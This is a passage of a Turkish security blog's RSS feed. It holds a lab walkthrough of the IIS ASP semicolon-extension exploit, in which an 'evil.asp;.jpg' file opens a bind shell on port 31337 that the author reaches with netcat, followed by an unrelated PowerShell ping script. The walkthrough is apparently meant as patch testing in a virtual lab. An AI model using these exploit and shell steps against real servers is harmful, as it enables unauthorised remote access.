			<content:encoded><![CDATA[<p>Windows IIS sunucular üzerinde ciddi bir güvenlik açığı yayınlandı.İlgili exploit araciligiyla olusturulabilecek bir malicious  dosyası(06;.jpg) , IIS sunucu(5,6) üzerinde çalıştırıldığında sunucunun Outgoing den, atacker&#8217;in source&#8217;sine doğru 31337. portun açılmasınına sebep oluyor.Daha sonra  doğru payload&#8217;ı kullanabilecek kişi,  sunucu üzerinden shell alabiliyor.</p>
<p>Patch cozumu gelistirmek icin ilgili exploiti<strong> </strong><strong>virtual bir Windows Server da test ettim.</strong></p>
<p><span style="color: #008000;">Shellcode / Payload Connection</span></p>
<p><span style="color: #ff0000;"><strong>0 &#8211; shell_bind_tcp</strong></span></p>
<h3>Penetration materyaller:</h3>
<p>OS : Server 2003 Enterprise x86 SP2<br />
Victim Vlan: 192.168.127.130<br />
Web Server : IIS6<br />
Destination: Ubuntu 9.10 (karmic)</p>
<p>Testleri yapalım:</p>
<p><span style="color: #ff0000;">root@ubuntu:~/labs# python iis.py def.jpg 0<br />
Exploit for Microsoft IIS ASP Multiple Extensions Security Bypass 5.x/6.x<br />
By Emanuele Gentili and Emanuele Acri (http://backtrack.it)<br />
[+] File<strong> evil.asp;.jp</strong>g created and ready to use.<br />
Enjoy&#8230; ;)</span></p>
<p><span style="color: #ff0000;">root@ubuntu:~/labs# ls -l<br />
total 1260<br />
-rw-r&#8211;r&#8211; 1 root root  12902 2009-10-31 01:08 def.jpg<br />
<strong>-rw-r&#8211;r&#8211; 1 root root 326377 2010-01-10 14:08 evil.asp;.jpg</strong><br />
-rwxrwxrwx 1 root root 945931 2010-01-10 14:03 iis.py</span></p>
<p style="text-align: left;">evil.asp;.jpg vulnerable durumda olan dosyayı IIS sunucuda çalıştıralım.</p>
<p><a href="http://ugurengin.com/blog/img/iiszort2.JPG" rel="lightbox[427]"><img class="aligncenter" src="http://ugurengin.com/blog/img/iiszort2.JPG" alt="" width="622" height="291" /></a></p>
<p><span style="color: #008000;">root@ubuntu:~/labs# <strong>nc -vv 192.168.127.130 31337</strong><br />
192.168.127.130: inverse host lookup failed: Unknown hosit<br />
(UNKNOWN) [192.168.127.130] 31337 (?) <strong>open</strong><br />
<span style="color: #008000;">Microsoft Windows [Version 5.2.3790]<br />
(C) Copyright 1985-2003 Microsoft Corp.</span></span></p>
<p><span style="color: #ff0000;"><span style="color: #008000;">c:\windows\system32\inetsrv&gt;ipconfig</span><br />
</span></p>
<p><span style="color: #008000;">Windows IP ConfigurationEthernet adapter Local Area Connection:<br />
Connection-specific DNS Suffix  . : localdomain<br />
IP Address. . . . . . . . . . . . : 192.168.127.130<br />
Subnet Mask . . . . . . . . . . . : 255.255.255.0<br />
Default Gateway . . . . . . . . . : 192.168.127.2</span></p>
<p><span style="color: #008000;">c:\windows\system32\inetsrv&gt;net user<br />
User accounts for \\LOCALROOT</span></p>
<p style="text-align: center;"><a href="http://ugurengin.com/blog/img/iiszort3.PNG" rel="lightbox[427]"><img class="aligncenter" src="http://ugurengin.com/blog/img/iiszort3.PNG" alt="" width="623" height="262" /></a></p>
<p>Network tarafinda olayları gozlemlemek icin, enfekte durumun da olup hacklenen serveri kontrol edelim.(Handshake checking)</p>
<p style="text-align: left;"><a href="http://ugurengin.com/blog/img/iiszoort.JPG" rel="lightbox[427]"><img class="aligncenter" src="http://ugurengin.com/blog/img/iiszoort.JPG" alt="" width="594" height="69" /></a></p>
<h3 style="text-align: left;"><span style="color: #ff0000;"><strong>Nmap</strong> ile kontrol edelim.<br />
</span></h3>
<p style="text-align: left;"><span style="color: #ff0000;">root@ubuntu:~/labs# nmap -sT -d 192.168.127.130 -p 31337</span></p>
<p style="text-align: left;"><span style="color: #ff0000;"><strong><span style="color: #008000;">31337/tcp open  Elite        syn-ack</span></strong><br />
MAC Address: 00:0C:29:71:6D:2B (VMware</span></p>
<p>Referanslar:</p>
<p><a href="http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf" target="_blank">http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf</a></p>
<p><a href="http://secunia.com/advisories/37831/" target="_blank">http://secunia.com/advisories/37831/</a></p>
<p style="text-align: left;">&nbsp;</p>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fiis-asp-multiple-extensions-remote-0day-exploit.html&amp;t=IIS%20ASP%20Multiple%20Extensions%20Remote%20Exploit" id="facebook_share_both_427" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_427') || document.getElementById('facebook_share_icon_427') || document.getElementById('facebook_share_both_427') || document.getElementById('facebook_share_button_427');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_427') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/iis-asp-multiple-extensions-remote-0day-exploit.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bulk Domain Ping with Powershell</title>
		<link>http://www.ugurengin.com/blog/powershell-with-bulk-domain-ping.html</link>
		<comments>http://www.ugurengin.com/blog/powershell-with-bulk-domain-ping.html#comments</comments>
		<pubDate>Wed, 26 Aug 2009 22:36:14 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Others]]></category>
		<category><![CDATA[.net Framework]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[Bulk Ping]]></category>
		<category><![CDATA[Powershell]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=220</guid>
		<description><![CDATA[Powershell scripting ile işi hızlandirip birden fazla domainin hangi IP&#8217;yi cozdugunu ve ping&#8217;e cevap verip vermedigini tespit edebiliriz. Kısaca Powershell Nedir? Microsoft&#8217;un .Net Framework destekli gelistirdigi en kapsamlı shell konsoludur. Powershell uzerinde  .net tabanlı scripting calistirma imkanı bulabiliyorsunuz. &#8220;Bulk Domain Ping&#8221; betigine ait ilgili kodları  asağıda paylaşıyorum. $readfile=get-content &#8220;C:\Users\root\Desktop\servers.txt&#8220; foreach($readf in $readfile) { $ALive=get-wmiobject win32_pingstatus [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff6600;">Powershell</span> scripting ile işi hızlandirip birden fazla domainin hangi IP&#8217;yi cozdugunu ve ping&#8217;e cevap verip vermedigini tespit edebiliriz.</p>
<p>Kısaca <span style="color: #ff6600;">Powershell</span> Nedir?<br />
Microsoft&#8217;un .Net Framework destekli gelistirdigi en kapsamlı shell konsoludur. Powershell uzerinde  .net tabanlı scripting calistirma imkanı bulabiliyorsunuz.</p>
<address>&#8220;Bulk Domain Ping&#8221; betigine ait ilgili kodları  asağıda paylaşıyorum.<br />
</address>
<p><span style="color: #008080;"><em>$readfile=get-content &#8220;</em><span style="color: #ff0000;">C:\Users\root\Desktop\servers.txt</span><em>&#8220;</em><em><br />
</em><em>foreach($readf in $readfile)</em><em><br />
</em><em>{</em><em><br />
$ALive=get-wmiobject win32_pingstatus -Filter &#8220;Address=&#8217;$readf&#8217;&#8221; | Select-Object statuscode<br />
if($ALive.statuscode -eq 0)<br />
{write-host $readf is REACHABLE -background &#8220;GREEN&#8221; -foreground &#8220;BLACk&#8221;}</em><em><br />
else</em><em><br />
{<br />
write-host $readf is NOT reachable -background &#8220;RED&#8221; -foreground &#8220;BLACk&#8221;}</em><em><br />
}</em></span><br />
Domain listesinin path&#8217;ini belirmeniz ve <span style="color: #ff6600;">Powershell</span> konsolu açıp yukaridaki kodlari calıştımanız gerekcektir.</p>
<p>Ping&#8217;e cevap veren domainler <span style="color: #008080;">REACHABLE</span> , pinge cevap vermeyen domainler ise <span style="color: #ff0000;">NOT REACHABLE</span> şeklinde konsola yansıyacaktır.</p>
<p style="text-align: center;"><a href="http://ugurengin.com/blog/img/powershell.jpg" rel="lightbox[220]"><img class="aligncenter" title="Powershell with Bulk Ping" src="http://ugurengin.com/blog/img/powershell.jpg" alt="" width="524" height="189" /></a></p>
<p>Detaylar:</p>
<p><a title="Powershell Download" href=" http://www.microsoft.com/windowsserver2003/technologies/management/powershell/download.mspx" target="_blank"></p>
<p>http://www.microsoft.com/windowsserver2003/technologies/management/powershell/download.mspx</a></p>
<p><a href="http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx">http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx</a></p>
<p>&nbsp;</p>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fpowershell-with-bulk-domain-ping.html&amp;t=Bulk%20Domain%20Ping%20with%20Powershell" id="facebook_share_both_220" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_220') || document.getElementById('facebook_share_icon_220') || document.getElementById('facebook_share_both_220') || document.getElementById('facebook_share_button_220');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_220') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/powershell-with-bulk-domain-ping.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

